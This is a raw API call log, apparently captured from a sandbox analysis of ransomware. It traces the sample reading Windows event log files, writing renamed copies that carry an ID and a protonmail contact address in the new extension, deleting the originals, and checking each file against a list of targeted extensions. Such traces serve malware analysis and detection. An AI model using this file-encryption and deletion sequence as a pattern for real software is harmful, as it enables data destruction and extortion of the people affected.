	[0071.992] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.993] GetLastError () returned 0x0
	[0071.993] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0072.534] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0072.536] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.536] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x128, lpOverlapped=0x0) returned 1
	[0072.536] SetEndOfFile (hFile=0x350) returned 1
	[0072.536] CloseHandle (hObject=0x350) returned 1
	[0072.538] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.538] SetEndOfFile (hFile=0x2f8) returned 1
	[0072.540] CloseHandle (hObject=0x2f8) returned 1
	[0072.540] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0072.540] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1
	[0072.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.541] lstrlenW (lpString=".doc") returned 4
	[0072.541] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.541] lstrlenW (lpString=".docx") returned 5
	[0072.541] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.541] lstrlenW (lpString=".pdf") returned 4
	[0072.541] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.541] lstrlenW (lpString=".xls") returned 4
	[0072.541] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.541] lstrlenW (lpString=".xlsx") returned 5
	[0072.541] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.541] lstrlenW (lpString=".ppt") returned 4
	[0072.541] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.541] lstrlenW (lpString=".zip") returned 4
	[0072.541] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.541] lstrlenW (lpString=".rar") returned 4
	[0072.541] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.541] lstrlenW (lpString=".bz2") returned 4
	[0072.541] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.541] lstrlenW (lpString=".7z") returned 3
	[0072.541] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.541] lstrlenW (lpString=".dbf") returned 4
	[0072.541] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.541] lstrlenW (lpString=".1cd") returned 4
	[0072.541] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.541] lstrlenW (lpString=".jpg") returned 4
	[0072.541] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.542] lstrlenW (lpString=".doc") returned 4
	[0072.542] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString=".docx") returned 5
	[0072.542] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.542] lstrlenW (lpString=".pdf") returned 4
	[0072.542] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString=".xls") returned 4
	[0072.542] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString=".xlsx") returned 5
	[0072.542] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.542] lstrlenW (lpString=".ppt") returned 4
	[0072.542] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.542] lstrlenW (lpString=".zip") returned 4
	[0072.542] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString=".rar") returned 4
	[0072.542] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString=".bz2") returned 4
	[0072.542] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString=".7z") returned 3
	[0072.542] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.542] lstrlenW (lpString=".dbf") returned 4
	[0072.542] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.542] lstrlenW (lpString=".1cd") returned 4
	[0072.542] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0072.542] lstrlenW (lpString=".jpg") returned 4
	[0072.542] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.543] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0072.543] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55
	[0072.543] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.543] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0072.544] CloseHandle (hObject=0x2f8) returned 1
	[0072.544] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20
	[0072.544] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.544] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.544] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.544] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.544] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0072.544] GetLastError () returned 0x0
	[0072.544] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0072.547] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0072.549] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.549] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x142, lpOverlapped=0x0) returned 1
	[0072.549] SetEndOfFile (hFile=0x350) returned 1
	[0072.549] CloseHandle (hObject=0x350) returned 1
	[0072.551] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.551] SetEndOfFile (hFile=0x2f8) returned 1
	[0072.552] CloseHandle (hObject=0x2f8) returned 1
	[0072.552] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0072.552] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1
	[0072.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.553] lstrlenW (lpString=".doc") returned 4
	[0072.553] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.553] lstrlenW (lpString=".docx") returned 5
	[0072.553] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.553] lstrlenW (lpString=".pdf") returned 4
	[0072.553] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.553] lstrlenW (lpString=".xls") returned 4
	[0072.553] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.553] lstrlenW (lpString=".xlsx") returned 5
	[0072.553] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.553] lstrlenW (lpString=".ppt") returned 4
	[0072.553] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.553] lstrlenW (lpString=".zip") returned 4
	[0072.553] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.553] lstrlenW (lpString=".rar") returned 4
	[0072.553] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.553] lstrlenW (lpString=".bz2") returned 4
	[0072.553] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.553] lstrlenW (lpString=".7z") returned 3
	[0072.553] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.553] lstrlenW (lpString=".dbf") returned 4
	[0072.553] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.553] lstrlenW (lpString=".1cd") returned 4
	[0072.553] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.554] lstrlenW (lpString=".jpg") returned 4
	[0072.554] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.554] lstrlenW (lpString=".doc") returned 4
	[0072.554] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.554] lstrlenW (lpString=".docx") returned 5
	[0072.554] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.554] lstrlenW (lpString=".pdf") returned 4
	[0072.554] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.554] lstrlenW (lpString=".xls") returned 4
	[0072.554] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.554] lstrlenW (lpString=".xlsx") returned 5
	[0072.554] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.554] lstrlenW (lpString=".ppt") returned 4
	[0072.554] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.554] lstrlenW (lpString=".zip") returned 4
	[0072.554] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.554] lstrlenW (lpString=".rar") returned 4
	[0072.554] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.554] lstrlenW (lpString=".bz2") returned 4
	[0072.554] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.554] lstrlenW (lpString=".7z") returned 3
	[0072.554] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.554] lstrlenW (lpString=".dbf") returned 4
	[0072.554] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.554] lstrlenW (lpString=".1cd") returned 4
	[0072.555] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.555] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0072.555] lstrlenW (lpString=".jpg") returned 4
	[0072.555] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.555] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0072.555] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49
	[0072.555] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.555] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0072.555] CloseHandle (hObject=0x2f8) returned 1
	[0072.555] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20
	[0072.555] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.555] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.555] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.556] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.556] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0072.556] GetLastError () returned 0x0
	[0072.556] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0072.559] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0072.561] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.561] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x136, lpOverlapped=0x0) returned 1
	[0072.561] SetEndOfFile (hFile=0x350) returned 1
	[0072.561] CloseHandle (hObject=0x350) returned 1
	[0072.565] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.565] SetEndOfFile (hFile=0x2f8) returned 1
	[0072.566] CloseHandle (hObject=0x2f8) returned 1
	[0072.566] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0072.566] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1
	[0072.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.567] lstrlenW (lpString=".doc") returned 4
	[0072.567] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.567] lstrlenW (lpString=".docx") returned 5
	[0072.567] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.567] lstrlenW (lpString=".pdf") returned 4
	[0072.567] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.567] lstrlenW (lpString=".xls") returned 4
	[0072.567] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.567] lstrlenW (lpString=".xlsx") returned 5
	[0072.567] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.567] lstrlenW (lpString=".ppt") returned 4
	[0072.567] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.567] lstrlenW (lpString=".zip") returned 4
	[0072.567] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.567] lstrlenW (lpString=".rar") returned 4
	[0072.567] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.567] lstrlenW (lpString=".bz2") returned 4
	[0072.567] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.567] lstrlenW (lpString=".7z") returned 3
	[0072.567] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.567] lstrlenW (lpString=".dbf") returned 4
	[0072.567] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.567] lstrlenW (lpString=".1cd") returned 4
	[0072.567] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.567] lstrlenW (lpString=".jpg") returned 4
	[0072.568] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.568] lstrlenW (lpString=".doc") returned 4
	[0072.568] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString=".docx") returned 5
	[0072.568] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.568] lstrlenW (lpString=".pdf") returned 4
	[0072.568] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString=".xls") returned 4
	[0072.568] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString=".xlsx") returned 5
	[0072.568] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.568] lstrlenW (lpString=".ppt") returned 4
	[0072.568] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.568] lstrlenW (lpString=".zip") returned 4
	[0072.568] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString=".rar") returned 4
	[0072.568] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString=".bz2") returned 4
	[0072.568] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString=".7z") returned 3
	[0072.568] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.568] lstrlenW (lpString=".dbf") returned 4
	[0072.568] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.568] lstrlenW (lpString=".1cd") returned 4
	[0072.568] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0072.569] lstrlenW (lpString=".jpg") returned 4
	[0072.569] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.569] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0072.569] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64
	[0072.569] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0072.966] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0072.967] CloseHandle (hObject=0x384) returned 1
	[0072.967] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20
	[0072.967] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.967] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0072.967] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.967] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.967] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0073.384] GetLastError () returned 0x0
	[0073.384] ReadFile (in: hFile=0x384, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0073.389] WriteFile (in: hFile=0x364, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
